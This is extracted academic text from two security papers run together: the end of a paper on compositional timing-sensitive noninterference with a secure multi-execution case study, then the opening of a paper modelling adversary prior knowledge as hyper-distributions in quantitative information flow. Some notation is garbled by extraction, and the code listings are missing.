is componentwise observable equivalence, with observable presence, and
eqpair•LR( A=, B=),eqpair•LR( A=, B=) weaken eqpair( A=, B=) by making the presence
of pairs unobservable when both, or the right, components are, respectively.
swi The compositionality result for swi states how to switch processes (to e.g.
implement schedulers) securely: swi preserves security as long as unobservables
cannot affect the switch state, and, as a result, stagger observable process output.
We consider two ways to meet this restriction. One way this restriction is met for
a principal � is for � to fully observe the switch state; that way, no information
can ever leak to � through it. Such observers are aware of the value of the switch.

Definition 9 (awareness): forall � and ( V=), � is aware of v under ( V=), � ∈ A(v , V=),
iff ∀v̇ � v V=� v̇ =⇒ v = v̇ . ♦

For instance, A(True, Bool=) is the set of principals who can distinguish True from
every other value in Bool (i.e. False). In the case of swi, those observers observe
the switch signals, and thus the switch state. Since the switch state can be
inferred by knowing whether the switched process took a step, only A(True, Bool=) are
allowed to distinguish Nothing output from Just o for unobservable o. Relation
(
.
O=) = eqmaybe(A(True, Bool=), O=) achieves this. Another way this restriction is met for

a principal � is if all process output is �-unobservable. Then, � is oblivious to p.

Definition 10
(oblivious): forall �, p ∈ IProc I O, and ( O=), � is ( O=)-oblivious to p, �∈O(p, O=), iff

. ♦
An � observer that is not aware of the value of the switch will then, by (

.
O=),

not be able to infer any information about the switch state, since all output from
the switched process look the same.

Theorem 3 (swi): forall p, ( I=), ( O=), and (Bool=), if , then
, where L = A(True, Bool=) ∪ O(p, Bool×O= ), (

.
O=) = eqmaybe(A(True, Bool=), O=),

(Bool×I= ) = eqpair•LR(Bool=, I=), and (Bool×O= ) = eqpair•R(Bool=, O=).
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maybe, loop, par. The compositionality results for maybe, loop and par are sim-
ple in comparison to the above. For instance, maybe preserves the security of a
process, even for principals who do not observe Nothing, since nothing is ever
delivered to the process when such input is received. Using loop to create feed-
back around a secure process does not introduce insecurities, since the process
must always meet its public deadlines regardless of what the source of its input
is. Looping thus cannot cause an interactive process to block itself. Our theory
therefore eliminates known challenges for security under feedback [26,35,43].
Finally, composing secure processes with par yields a secure process, since all it
does is run the processes in parallel.

Theorem 4 (maybe): forall p, ( I=), ( O=), if , then ,
where (

.
I=) = eqmaybe(∅, I=).

Theorem 5 (loop): forall p and ( I=), if , then .

Theorem 6 (par): forall p1, p2, ( I=), (O1=), and (O2=), if and ,
then , where (O1×O2= ) = eqpair(O1=,

O2=).

6 Combinator language

With this core, we build a rich language (Figure 2a) of combinators that mediate
the interaction of processes. The language, in addition to facilitating the wiring
of process outputs and inputs, includes combinators for transforming and filter-
ing messages, maintaining state, and for switching processes on or off. Complex
systems, including schedulers, runtime monitors, and even runtime systems can
be implemented in this language. By virtue of compositionality results for our
core, the combinators in our language are security preserving. The crucial point
is that the compositionality results can be invoked to prove noninterference of
processes implemented in our language, obtaining noninterference by construc-
tion. To demonstrate, we use this language to implement an enforcement of
timing-sensitive noninterference in Sect. 7.

Language. The language is summarized in Figure 2a. The figure displays the
type of each combinator in the language, along with a brief description of its
semantics. For brevity, we leave out descriptions of combinators that are trivial
specializations of a more general combinator (e.g. ones with suffix I or O: spe-
cializations that operate only on input and output). The implementation of each
combinator in terms of core combinators is given in the TR [33].
Message transformation & process state. mapI, mapO, staI, and staO are trivial
specializations of the core map and sta combinators. For instance, mapI is defined
as mapI f p = map f id p. Thus, mapI only transforms inputs. We make heavy use
of mapI and mapO for routing and restructuring messages in Sect. 7.
Message filtering. filter drops messages that do not satisfy a predicate. We
implement filter using map, by transforming predicates into functions that map
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messages that do not satisfy the predicate to Nothing. We then use maybe to
discard resulting Nothing input. We cannot do the same for output; the process
still performed work. The source combinator drops all input.
Message tagging. The tagging combinators tag and untag messages. These are
simple specializations of map; for instance, iff . The only non-
trivial tagging combinator, tokenI v p, treats a tag as a token, only passing an
input to p if the input is tagged with v (consuming the token). A sample use of
the tag combinators is implementing point-to-point communication; this can be
done by having senders tag a message with the ID of a recipient process, and
having said process use tokenI to only process messages addressed to it.
Process switching. Two specializations of swi are noteworthy. swiI combinator,
by only switching its subprocess on or off upon receiving input, implements
a preemptive switching strategy. Likewise, swiC, by using input to switch its
subprocess on, and output to switch it off, implements a cooperative switching
strategy. We use swiI and swiC in to implement scheduling strategies in Sect. 7.
Process composition. With par and loop, we can compose any number of processes
that all receive copies of each other’s output. This “universal” composition can
be specialized to more restricted forms of communication, including “sequential”
composition, using our other combinators to selectively route messages.

Compositionality of language. The compositionality results for our language
are listed in Figure 2b. Each black-bordered box contains a compositionality
result; the first line is its guarantee, while subsequent lines in the box are assump-
tions under which that guarantee holds. Occurrences of unbound variables in a
box are implicitly universally quantified. For instance, the first six lines under
“process state” is one compositionality result, namely Theorem 2 restated.

The meaning of each assumption has already been explained in Sect. 5, save
for three. First, O( V=) = {� | ∀v � v V=� •}. That part of the assumption of tokenI

states that � must either be aware of the token (thus observing presence of all
input), or oblivious to all input (thus public output is independent of all input).
Second, (Bool−=)� = {〈True, True〉, 〈False, False〉, 〈•, •〉},∀�. Third, f |I is the restriction
of f to I. We use these two definitions to state that for observable observably
equivalent values, the filter functions make the same filtering decision.

Compositionality follow from Theorems 1, 2, 3, 4, 5, and 6.

Corollary 1 (composition): Each statement in Figure 2b is true.

Fig. 2: Language

7 Case study: SME

To demonstrate the practicality of our results, we implement secure multi-
execution (SME) [10], the enforcement that we discussed in Sect. 2.
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We develop two variations of SME, which differ in how the execution of
process copies is managed. The former variant uses a preemptive scheduling
strategy to schedule the process copies. For this variant, we show how a proof
of soundness can be straightforwardly obtained by invoking our compositional-
ity results. The latter variant uses a cooperative scheduling strategy. Here we
demonstrate a timing leak, and, using our compositionality results, trace the inse-
curity in the implementation to a single component. Together, this demonstrates
that our theory can be used to straightforwardly establish timing-sensitive non-
interference of a complex system, and to identify subcomponents that cause
insecurities.

We stress that our construction easily generalizes to lattices of any shape
and size, like SME does [34], even though for clarity of presentation, we assume
the two-point lattice . We will use the definition of message-passing processes
and their observables, i.e. M, obs, ( M−=) and (

.
M−=), from Examples 2 and 5.

Secure execution. At first, it appears our compositionality results will not aid
us in establishing soundness for an implementation of SME in our language; our
results assume that processes being composed are secure, while SME makes no
such assumption. We observe that only a tiny part of SME is responsible for
enforcing security. We deconstruct SME, separating plumbing and scheduling
from this part, prove that the part enforces , and then leverage our com-
positionality results to show that plumbing and scheduling does not introduce
insecurities.

This tiny part is SE: a combinator for executing any given p ∈ IProc M [
.
M]

securely. SE secures the �-copies. With (SE � p) denoting the securely executed �-
copy of p, SE achieves this effect by 1) feeding only the �-observable part of input
to the �-copy, and 2) dropping all non-� parts of output from p. Intuitively, (SE � p)
is a secure process since (SE � p) outputs messages only on channels labeled �,
and computes these using only input on channels labeled (� �). Both 1) and 2)
are needed; without 1), input from (�� �) can flow to output channels labeled �,
and without 2), (SE � p) can leak between incomparable channels in (� �).

Listing 1.1: Secure Execution

To achieve 1), we use (mapI obs� p). obs� preprocesses input to p in
the manner required by 1). To achieve 2), we use (mapO prj� p), where

is a function that projects output on non-� channels to Nothing.

With this, we define SE as in Listing 1.1.

Theorem 7: .

Proof sketch. Pick � and p. We need to prove . Pick �′, and s
such that . Case on � � �′. We use the following simulations in the cases.
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In the “true” case, SE replaces �′-unobservable input with Nothing (by definition
of obs�), which in turn gets dropped by maybe. Since �′-observable inputs are only
�′-( M−=)-observably equivalent with themselves, this together gives that changes
in �′-unobservable input to (SE � p) never propagate into p. Thus, we can show
that , which relates streams to processes very tightly, is a �′-( M−=)-(M

.
−=)-stream-

simulation. It is also easy to see that . In the “false” case, we use a
different observation: SE maps all output from p to Nothing if it is not a message
on a �-labeled channel (by definition of prj�). Since messages on �-labeled channels
are �′-(M

•
−=)-equivalent to Nothing, none of the outputs from SE � p are �′-observable.

This lets us use . To establish , we use the following lemma. �

Lemma 1: .

Scheduler processes. Our two variations of SME execute �-copies concurrently,
with executions coordinated by a scheduler process. A scheduler chooses which
process copy goes next by outputting its security level. Like previous work on
SME [10,20,34], our schedulers receive no input. This simplifies reasoning (this
way, schedulers cannot leak information [20]). Our schedulers are rich enough to
express practical scheduling strategies, including Round-Robin scheduling.

The set of schedulers is . Since schedulers receive no input, we make
scheduler choices public. We define . Let , and
let ( ∅−=�) = {〈•, •〉}, ∀�. Since schedulers receive no input, the following is clear.

Corollary 2: .

Secure multi-execution, preemptive. Our first variation of SME schedules
�-copies preemptively. Example SME schedulers of this sort are Multiplex-2 [20],
and the deterministic fair schedulers [34]. In this variation, the �-copies run in
parallel with a scheduler. In each time unit, the scheduler can switch one of the
process copies on or off (preempting it).

Listing 1.2: SME, Preemptive

The SMEP combinator in Listing 1.2 achieves this effect. Here, SMEP pS p securely
executes a H- and a L-copy of a process p in parallel (line 5). These �-copies are
made switchable by SwCP (defined later). The scheduler pS interacts with these
switches by means of the in construct. Whereas in ensures pS interacts only with
the �-copies, source makes this interaction unidirectional.

Listing 1.3: Switch Copy, Preemptive



Timing-Sensitive Noninterference through Composition 19

Before explaining the maps on line 3, let’s delve into SwCP, in Listing 1.3.
Besides making p preemptively switchable (by swiI), (SwCP � p) defines the inter-
face between an �-copy and the scheduler. As the type of SwCP indicates, (SwCP � p)
receives switch commands from the scheduler, and messages from the environ-
ment. Function tobm specifies how (SwCP � p) reacts to input. The function outputs
a pair 〈b, ṁ〉; b determines whether the switch should be flipped, and ṁ is the
input message (if any) to p. Here, b = True iff the input is � from the scheduler,
and ṁ = Just m iff the input is m from the environment.

Note that tobm only changes how data is packaged w/o changing the data
itself (except �==�′, which is public). Thus, tobm is noninterfering. This, together
with our compositionality results, gives us that SwCP is security-preserving.

Corollary 3:
where .

In Listing 1.2 line 3, Right maps environment input into (the
space of values switched �-copies receive). Finally, merge projects each pair of
output messages (if any) from the �-copies to a single message. It does so by
preferring the right component, choosing the left component only if the right
component is Nothing. We define merge : O. × O. → O. as follows.

Lemma 2: where and
.

By Lemma 1, the output space of (SwCP � (SE � p)) is {cn | lev(c) = �}.

Corollary 4: ,

where and

Now, {cn | lev(c) = H}. × {cn | lev(c) = L}. is the output space of runs. This lets
us invoke Lemma 2 on the mapO merge part of SMEP. By invoking the composition-
ality results for source, in and mapI, we get a proof of soundness of SMEP.

Corollary 5: .

This venture highlights the power of our approach: it enables SME to simply
be implemented, reducing soundness to proving properties of simple components.
Secure multi-execution, cooperative. Our second variation of SME sched-
ules �-copies cooperatively. An example scheduler of this sort is selectlowprio [10],
implemented in FlowFox [9] on a per-event basis. Here, processes are arranged
like in SMEP. The key difference is that at only one process (including the sched-
uler) can be active at a time. An active process remains active until it releases
control. When an �-copy does, the scheduler receives control, remaining active
until it determines which process copy to activate, and activates it.

However, as we will confirm, this approach has a timing leak: allowing the H-
copy to control when it releases control to the scheduler means that the time at
which the L-copy is subsequently activated can depend on H information [20,34].
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Listing 1.4: SME, Cooperative

Listing 1.5: Switch Copy, Cooperative

The SMEC combinator, in Listing 1.4, implements this approach. The struc-
ture is exactly like SMEP. However, a few combinators have been modified.
First, the type of SMEC is different; processes to be multi-executed are now
IProc M (Bool ×M

.). The Boolean output signifies control release. Second, SE

needs to be modified slightly as a result. The new combinator, SEC, enforces
; see the TR [33] for details. Third, the process switch needs to be updated

to match this new scheduling semantics. The new switch, SwCC, is given in
Listing 1.5. Compared to SwCP, SwCC replaces swiI with swiC, and propagates
a release signal from the process to both swiC and the scheduler. The following
should thus be of no surprise.

Corollary 6: , where ,
.

Here, eqat defines that values are observable only to principals at or above a
given level; for all �, eqat(A, �) is the least equivalence relation ( A−=�) satisfying

Listing 1.6: Switch Scheduler, Cooperative

Things start to go wrong in the scheduler switch, SwSC, sketched in Listing
1.6. This switch follows the structure of SwSP. When switched on (by a �-copy),
SwSC remains active until it produces a security level � (which, in turn, by SMEC,
switches the �-copy on).

Now a problem emerges in swiC. Since the Boolean used to switch the sched-
uler comes from the H- and the L-copy, L needs to be oblivious to the scheduler
process. However, the scheduler process outputs security levels to the L-copy,
which are L. If we instead make security levels H, Corollary 6 becomes false; the
switch signal sent to the L-copy becomes H, forcing the switch on the L-copy to
be H, and since L is not oblivious to the L-copy, a leak can occur. There thus
appears to be an irreparable conflict in this variation of SME; L output must be
independent of H input, but the time at which the L-copy regains control depends
on output from the H-copy, which depends on H input.
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8 Related Work

We discuss work in areas most related to ours: information-flow control of timing
channels, timed interaction, and theories of information-flow secure composition.
Timing channels. Timing channels can be categorized as internal and exter-
nal [39]. Several program analyses and transformations have been proposed to
stop leaks through external channels. Proposed white-box approaches include the
following. Hedin and Sands developed a type system that rejects programs for
which the time it takes to reach the point of the L effect can depend on H [14].
Zhang et al. annotate statements in an imperative language with a read and
write label expressing how information can flow through the runtime [47]. Agat
gave a program transformation that, in a program that passes Denning-style
enforcement [41] (which rules out explicit and implicit flows), pads H ifs and
bans H whiles [1]. Askarov et al. present a black-box timing leak mitigator [5].
Here, outputs are queued, and released FIFO according to a pre-programmed
schedule. If no output is in the FIFO when a release is scheduled, the schedule is
updated (i.e. slowed). This places a logarithmic bound on timing leaks. Devriese
and Piessens formalize secure multi-execution (SME) that executes a program
multiple times, once for each security level, while carefully dispatching inputs
and ensuring that an execution at a given level is responsible for producing
outputs for sinks at that level [10].

Whereas the above approaches performs little or no exploration of composi-
tionality, we demonstrate that our timing-sensitive noninterference is preserved
under composition. Our combinators can be used to prove timing-sensitive non-
interference in large systems, by construction. By implementing SME, we have
shown that it is compatible with our theory. The mitigations are not compatible
with our theory as-is, since these allow leaks through timing, whereas our the-
ory allows no leaks. Modifying our theory to accommodate these is a promising
line of future work. The compatibility of the other approaches to our theory is
unclear as they make environment assumptions that may be incompatible with
ours. Compared to [14], our discrete-timed model is simplistic. We note, however,
that no part of our theory places restrictions on how fine the discretization of
time can be. Our work focuses on eliminating external timing channels, because
they have been demonstrated to be exploitable [6,11,22,30], and because internal
timing channels are caused by external timing channels of subcomponents.
Timed interaction. Timed models of interaction have been studied exten-
sively in a process algebraic setting [8,13,15,29,40]. The prevalent approach
has been to introduce a special timed tick action to the model, leaving syn-
chronization constructs untimed [8,13,15,40]. This tick action requires special
attention in the theory; for instance, it is useful to require that processes are
weakly time alive, i.e. never prevent time from passing by engaging in infinite
interaction. Instead, our model times output, alleviating the need to introduce a
special action and machinery around it. This yields a cleaner theory; for instance,
progress is already built into our definition of interactive process. While this lim-
its how much work a process can do in a time unit, the discretization of time
can be arbitrarily fine. Whereas these calculi mostly use bisimulation to compare
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processes, our simulation relation is more forgiving when it comes to reasoning
about nondeterministic choice. Since our theory operates on transition systems
as opposed to on a language of processes, our theory is more general.

Focardi and Gorrieri’s work on information-flow secure interaction is par-
ticularly related to ours [13]. Their security properties are bisimulation-based,
with the H part of environment modeled explicitly as a process that binds all
H channels and only interacts on H channels. In contrast, our environments are
implicit, and can e.g. be any interactive process.

Timed I/O automata are real-time systems that synchronize through discrete,
timeless actions [21]. Like our interactive processes, these systems are input total,
and it is assumed that time can pass. However, systems are finite-state, and, like
the process algebras, passage of time is separate from synchronization.

In summary, while our model of time is weaker than those in some other
timed computation models (notably, dense time), time can be discretized as
needed, and conflating output with passage of time greatly simplifies our theory.
Theories for secure composition (information-flow). With his seminal
paper [26], McCullough sparked a study into information-flow secure composition
of nondeterministic systems in the 80s that continues to this day [19,24,28,35,
42,44]. This work studies the relative merits of several trace-based formalizations
of possibilistic progress-sensitive noninterference [3,4], in terms of whether they
are preserved under e.g. universal composition, sequential composition (a.k.a.
cascade), and feedback. Whereas some properties are preserved under all of these
[19], others fail for some combinators, most notably feedback [43]. These models
are all untimed. It would be worthwhile to apply our timing model in these
settings and explore how these security properties classify programs. Requiring
that the presence of all output is L is a good starting point, since this makes
these properties timing-sensitive in our timing model. However, more work may
be needed, since the system models differ subtly (e.g. they are not all input total).
Our simulation relation is inspired by Rafnsson and Sabelfeld [35]. While their
relation was designed to facilitate an inductive proof principle, ours is designed
around a coinductive proof principle. Our simulation is simpler as a result.

Secure composition has also been studied in great detail in a process algebraic
setting [12,16,17,31,36,37], Parallel composition is one of the defining features
of process algebra, making compositional reasoning a key concern. In contrast
to this work (which studies compositionality of parallel composition), our work
studies compositionality of a language of combinators. Further, our model is
timed, while these are not. Finally, the behavioral equivalence of choice is bisim-
ulation, which we find to be too strict for possibilistic noninterference.

More recently, Mantel et al. explore secure composition in a shared-memory
concurrent setting [2,25]. They develop a security condition that is sensitive to
the assumptions that each thread makes on whether other threads can read or
write to shared variables. For instance, the right-component of the Clark-Hunt
example in Sect. 2 assumes that no other thread reads X, and, thus, the two
components cannot be securely composed since the left-component violates this
assumption. Their approach is more fine-grained than ours, since compositional-
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ity is parameterized by individual environment assumptions of subcomponents.
However, their system model is untimed, threads are arranged in a fixed, flat
structure, communication is only via shared memory, and only parallel composi-
tion is considered. In contrast, our system model is timed, and our combinators
enable modeling fairly arbitrary structures of interacting processes (including
shared memory), as demonstrated in Sect. 7. Exploring whether this finer granu-
larity can be introduced into our theory is a promising direction of future work.

All of these approaches consider only combinators that passively glue together
two processes, facilitating interaction. In contrast, our combinators actually do
something, e.g. maintain state, switch processes on or off, and transform mes-
sages. As a result, our theory presents a rich toolset for reasoning about secure
composition, made even richer by its generic nature (arbitrary message types,
combinators parameterized by functions, etc.).
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Abstract. Traditional approaches to Quantitative Information Flow
(QIF) represent the adversary’s prior knowledge of possible secret val-
ues as a single probability distribution. This representation may miss
important structure. For instance, representing prior knowledge about
passwords of a system’s users in this way overlooks the fact that many
users generate passwords using some strategy. Knowledge of such strate-
gies can help the adversary in guessing a secret, so ignoring them may
underestimate the secret’s vulnerability. In this paper we explicitly model
strategies as distributions on secrets, and generalize the representation
of the adversary’s prior knowledge from a distribution on secrets to an
environment, which is a distribution on strategies (and, thus, a distrib-
ution on distributions on secrets, called a hyper-distribution). By apply-
ing information-theoretic techniques to environments we derive several
meaningful generalizations of the traditional approach to QIF. In par-
ticular, we disentangle the vulnerability of a secret from the vulnerability
of the strategies that generate secrets, and thereby distinguish security
by aggregation—which relies on the uncertainty over strategies—from
security by strategy—which relies on the intrinsic uncertainty within a
strategy. We also demonstrate that, in a precise way, no further gener-
alization of prior knowledge (e.g., by using distributions of even higher
order) is needed to soundly quantify the vulnerability of the secret.

1 Introduction

Two core principles within the field of quantitative information flow (QIF) are:
(i) a secret is considered “vulnerable” to the extent the adversary’s prior knowl-
edge about secret values has low entropy; and (ii) the leakage of information in
a system is a measure of how much the observable behavior of the system, while
processing a secret value, degrades that entropy. These principles have been used
to create ever more sophisticated QIF frameworks to model systems and reason
about leakage. (See, for example, [1–13].)

Traditional approaches to QIF represent the adversary’s prior knowledge as
a probability distribution on secret values. This representation is adequate when
c© Springer-Verlag GmbH Germany 2017
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secrets are generated according to a single, possibly randomized, procedure that
is known to the adversary (e.g., when a cryptographic key is randomly generated
according to a known algorithm). However, in some important situations secrets
are generated according to a more complex structure. In these cases, representing
the prior as a distribution loses important, security-relevant information.

Consider the example of passwords. If an adversary gains access to a large
collection of passwords (without the associated user identities), his prior knowl-
edge can be modeled as the probability distribution over passwords correspond-
ing to the relative frequency of passwords in the collection. It would be wrong to
believe, however, that passwords are generated by a function exactly described
by this distribution. This representation of prior knowledge aggregates a popu-
lation of users into a single expected probabilistic behavior, whereas in fact it
is more likely that individual users generate passwords according to some (not
completely random) strategy. Some user born in 1983, for instance, may have a
strategy of generally picking passwords containing the substring “1983”. If an
adversary knows this, he can guess relevant passwords more quickly. In addition,
on a system that mandates password changes, he may have an advantage when
guessing that a changed password by the same user contains “1983” as a sub-
string. In short, if the adversary learns something about the secret-generating
strategy, he may obtain additional information about the secret itself.

Generally speaking, knowledge of strategies can be useful when multiple
secrets are produced by a same source. For example, the same user might use
a similar strategy to generate passwords on different web sites. If we consider
locations as secret, then changes in location are surely correlated, e.g., based
on time of day. Learning someone’s strategy for moving in a city may increase
the chances of guessing this person’s location at a future point in time. Perhaps
surprisingly, an evolving secret subject to repeated observations, in some cases,
can be learned faster if it is changed (and observed) more often [14]. The reason
is that the strategy by which the secret changes is revealed faster if more sam-
ples from the strategy are visible to an adversary; and if the strategy has little
randomness in it, the adversary has an increased accuracy in determining past,
current, and even future secret values.

This paper develops the idea that when secrets are generated according to a
plurality of strategies, as in the above examples, it is advisable to represent the
adversary’s prior as a hyper-distribution of secrets, i.e., a distribution of distri-
butions. To show this, we first define a system model that explicitly considers
strategies for generating secrets. We formalize a strategy as a probability dis-
tribution from which secrets can be sampled. We assume there is a probability
distribution on strategies themselves, which we call an environment, represent-
ing how likely it is that each strategy will be used for generating the secret.
Returning to the password example, each user would have his own probability
distribution for generating secrets (i.e., his own strategy), and the environment
would consist in a probability distribution over these strategies, representing the
chance of each user being the one logging into the system.



28 M.S. Alvim et al.

In this model, representing the adversary’s prior as a distribution on secrets
would reflect the expected behavior of all possible strategies in the environment.
By quantifying the prior vulnerability as a function of this single distribution,
traditional approaches would miss relevant information, underestimating the vul-
nerability of the secret for adversaries able to learn the strategy being used. By
modeling the prior as a hyper-distribution, and applying information-theoretic
reasoning on it, we can do better, generalizing the traditional approach to QIF.
More specifically, we make the following contributions.

– We generalize the traditional measure of prior adversarial vulnerability to
environmental vulnerability, which takes into account that the adversary can
learn the strategy for generating secrets (Sect. 3).

– We define a measure of strategy vulnerability, which quantifies how certain an
adversary is about the secret-generating strategy itself. We demonstrate that
the traditional measure of prior vulnerability on secrets neatly decomposes
into environmental and strategy vulnerability. Using this decomposition, we
are able to disentangle two types of security usually conflated in the tradi-
tional approach to QIF: security by strategy, which arises from the intrinsic
randomness of secret-generating strategies, and security by aggregation, which
arises from the adversary’s inability to identify particular strategies in the
secret-generation process (Sect. 4).

– We define models of knowledge for adversaries who can only partially identify
strategies, and we provide measures of the vulnerability of the secret and of
the strategies themselves for this type of adversary (Sect. 5).

– We demonstrate that the modeling of the adversary’s prior knowledge as a
hyper-distribution on secrets is sufficiently precise: more complicated mod-
els (e.g., distributions on distributions on distributions on secrets, and such
“higher order distributions”) add no expressive power (Sect. 6).

– Our work lays a foundation for reasoning about real-world scenarios. In this
paper we develop an example based on a real password dataset (Sect. 7).

The next section introduces some preliminary concepts while Sects. 3, 4, 5,
6 and 7 present our main results. Finally, Sect. 8 discusses related work, and
Sect. 9 concludes. Full proofs appear in the corresponding technical report [15].

2 Preliminaries

We briefly review standard concepts and notation from quantitative information
flow (QIF). Notably we define notions of “secret”, an adversary’s “prior knowl-
edge” about the secret (or simply, “prior”), and an “information measure” to
gauge that knowledge. We also define “channels”, probabilistic mappings from
a set of secrets to another set, which have the effect of updating the adver-
sary’s uncertainty about the secret from a prior probability distribution to a
distribution on distributions on secrets, called a “hyper-distribution”.
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Secrets and vulnerability. A secret is some piece of sensitive information we
want to protect, such as a user’s password, social security number or current
location. An adversary usually only has partial information about the value of
a secret, referred to as “the prior.” Traditionally, the prior is represented as a
probability distribution; our aim in this paper is to show that an alternative
representation can be more useful. We denote by X the set of possible secrets
and by DX the set of probability distributions over X . We typically use π to
denote a probability distribution, and �π� for its support (the set of values with
non-zero probability).

An information measure is a function VX :DX→R mapping distributions
on secrets to real numbers. An information measure can gauge vulnerability—
the higher the value, the less secure the secret is—or uncertainty/entropy—the
higher the value, the more secure the secret is. There are several definitions
of information measures in the literature, varying according to the operational
interpretation of the measure. Popular instances include Bayes vulnerability [8]
and Bayes risk [16], Shannon entropy [17], and guessing entropy [18]. The
g-vulnerability framework [19] was recently introduced to express information
measures having richer operational interpretations; we discuss it further below.

Hypers and channels. A hyper-distribution [20] (or hyper for short) is a dis-
tribution on distributions. As we will see in the next section, we propose that
the prior can be profitably represented as a hyper. A hyper on the set X is of
type D

2X , which stands for D(DX ), a distribution on distributions on X . The
elements of DX are called the inner-distributions (or inners) of the hyper. The
distribution the hyper has on inners is called the outer-distribution (or outer).
We usually use H to denote a hyper, �H� for its support (the set of inners with
non-zero probability), and [π] to denote the point-hyper assigning probability 1
to the inner π.

An (information theoretic) channel is a triple (X ,Y, C), where X ,Y are finite
sets of input values and output values, resp., and C is a |X | × |Y| channel matrix in
which each entry C(x, y) corresponds to the probability of the channel producing
output y when the input is x. Hence each row of C is a probability distribution
over Y (entries are non-negative and sum to 1). A channel is deterministic iff each
row contains a single 1 identifying the only possible output for that input.

A distribution π:DX and a channel C from X to Y induce a joint distribution
p(x, y) = π(x)C(x, y) on X × Y, producing joint random variables X,Y with
marginal probabilities p(x) =

∑
y p(x, y) and p(y) =

∑
x p(x, y), and conditional

probabilities p(y|x) = p(x,y)/p(x) (if p(x) is non-zero) and p(x|y) = p(x,y)/p(y) (if
p(y) is non-zero). Note that pXY is the unique joint distribution that recovers π
and C, in that p(x) = πx and p(y|x) = C(x, y) (if p(x) is non-zero).1 For a given
y (s.t. p(y) is non-zero), the conditional probabilities p(x|y) for each x ∈ X form
the posterior distribution pX|y.

A channel C from a set X of secret values to set Y of observable values
can be used to model computations on secrets. Assuming the adversary has
1 To avoid ambiguity, we may use subscripts on distributions, e.g., pXY , pY or pX|Y .
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prior knowledge π about the secret value, knows how a channel C works, and
can observe the channel’s outputs, the effect of the channel is to update the
adversary’s knowledge from π to a collection of posteriors pX|y, each occurring
with probability p(y). Hence, following [12,20], we view a channel as producing
hyper-distribution.2 We use [π,C] to denote the hyper obtained by the action of
C on π. We say that [π,C] is the result of pushing prior π through channel C.

Notation on expectations. We denote the expected value of some ran-
dom variable F :X→R over a distribution π:DX by EπF

def= Ex←πF (x) def=∑
x∈X π(x)F (x). Here, R is usually the reals R but more generally can be a

vector space. If X itself is a vector space, then we abbreviate Eπ(id) by just Eπ,
the “average” of the distribution π on X .

g -vulnerability. Recently, the g-vulnerability framework [19] proposed a family
of vulnerability measures that capture various adversarial models. Its operational
scenario is parameterized by a set W of guesses (possibly infinite) that the
adversary can make about the secret, and a gain function g:W×X→R. The gain
g(w, x) expresses the adversary’s benefit for having made the guess w when the
actual secret is x. Given a distribution π, the g-vulnerability function measures
the adversary’s success as the expected gain of an optimal guessing strategy:

Vg(π) def= max
w∈W

∑

x∈X
π(x)g(w, x).

The g-vulnerability of a hyper H:D2X is defined as

Vg[H] def= E
H

Vg. (1)

In particular, when H is the result of pushing distribution π:DX through a chan-
nel C from X to Y we have Vg[π,C] =

∑
y∈Y maxw∈W

∑
x∈X π(x)C(x, y)g(w, x).

The set of g-vulnerabilities coincides with the set of all convex and continuous
information measures, which recently have been shown to be precisely those to
satisfy a set of basic axioms for information measures.3

Theorem 1 (Expressiveness of g-vulnerabilities [21]). Any g-vulnerability
Vg is a continuous and convex function on DX . Moreover, given any continuous
and convex function VX :DX→R

+ there exists a gain function g with a countable
set of guesses such that VX = Vg.

In the remainder of this paper we will consider only vulnerabilities that are
continuous and convex (although all of our results carry on for continuous and
concave uncertainty measures). We may alternate between the notation VX and
Vg for vulnerabilities depending on whether we want to emphasize the g-function
associated with the measure via Theorem 1.
2 Mappings of priors to hypers are called abstract channels in [12].
3 More precisely, if the vulnerability of a hyper is defined as the expectation of the vul-

nerability of its inners (as for Vg in Eq. (1)), it respects the data-processing inequality
and always yields non-negative leakage iff the vulnerability is convex.
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3 Adversarial Knowledge as Hyper-Distributions

This section shows how an adversary’s prior knowledge can be profitably repre-
sented as a hyper-distribution on secrets, rather than simply a distribution. We
begin by presenting a basic system model for wherein secrets are not necessarily
generated according to a single “strategy”, but rather an “environment”, which
is a distribution on strategies. This change motivates an adversary who can learn
about the strategy being used, and from that pose a higher threat to the secret.
This notion, which we call “environmental vulnerability”, strictly generalizes the
standard notion of vulnerability.

3.1 Strategies and Environments

Fig. 1. System and its context.

Figure 1 illustrates our basic model. A sys-
tem is a probabilistic mapping from secret
inputs to public outputs, represented as a
channel.4 Secrets are produced according
to a strategy chosen by a defender.

A strategy is modeled as a probabil-
ity distribution on the set of secrets X =
{x1, x2, . . . , xn}; i.e., the defender chooses the secret by sampling the distribu-
tion. The set S of all possible strategies is thus DX , but in this paper we shall
assume that there is a set SX = {π1, π2, . . . , πm} ⊂ DX of strategies of interest.5

In traditional QIF, this defender strategy is essentially synonymous with
prior knowledge—we assume the adversary knows exactly the strategy being
used. However, as motivated by the password example in the introduction, in
reality a secret may be generated by a myriad of possible strategies, and each
strategy may be more or less likely. We represent this idea in our model as an
environment, which is a probabilistic rule used to choose the secret-generating
strategy; it is represented as a probability distribution on the set SX of strategies
of interest. The set DSX of all possible environments is a subset of the set D2X of
all hypers on X . In case only one strategy π is possible, as in traditional models,
the corresponding environment is the point-hyper [π]. We will use letters like H,
M, En to denote hypers that are distributions on strategies of interest.

Example 1. Consider a password-checking system. There are various methods
for choosing passwords, each of which can be represented as a different strategy;
which strategy is used by a particular user is determined by an environment. The
adversary is interested in identifying the password used for a particular user. For
simplicity, we limit attention to two possible values for passwords, X = {x1, x2}.

4 Prior systems often also permit public inputs and secret outputs; we leave such
generalizations to future work.

5 Given that X is finite, we can make SX finite via a discretization that defines an
indivisible amount μ of probability mass that strategies can allocate among secrets.
Any precision in strategies can be achieved by making μ as small as needed.
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Consider the set of possible strategies for generating secrets is SX =
{π1, π2, π3}, where π1 = [1, 0] always generates secret x1, π2 = [0, 1] always
generates secret x2, and π3 = [1/2, 1/2] generates either secret with equal proba-
bility. Consider also two possible environments for this system:

– En1 = [1/2, 1/2, 0] is the environment in which strategies π1 and π2 may be
adopted with equal probability. This represents a scenario in which any user
logging in has an equal probability of having generated his password either
according to strategy π1 or according to strategy π2.

– En2 = [0, 0, 1] is the environment in which strategy π3 is always adopted.
This represents a scenario in which every user logging is assured to having
generated his password using strategy π3.

We depict strategies and environments in Table 1. The columns list strategies;
the first grouping of rows contains the definition of the strategy (i.e., the proba-
bility that it chooses a particular secret), and the next grouping of rows contains
the definition of each environment, one per row, which gives the probability of
each strategy. ��

3.2 Prior Knowledge as a Hyper, and Environmental Vulnerability

Table 1. Example 1.

π1 π2 π3

x1 1 0 1/2

x2 0 1 1/2

En1 1/2 1/2 0

En2 0 0 1

Given a model with an environment En, we can con-
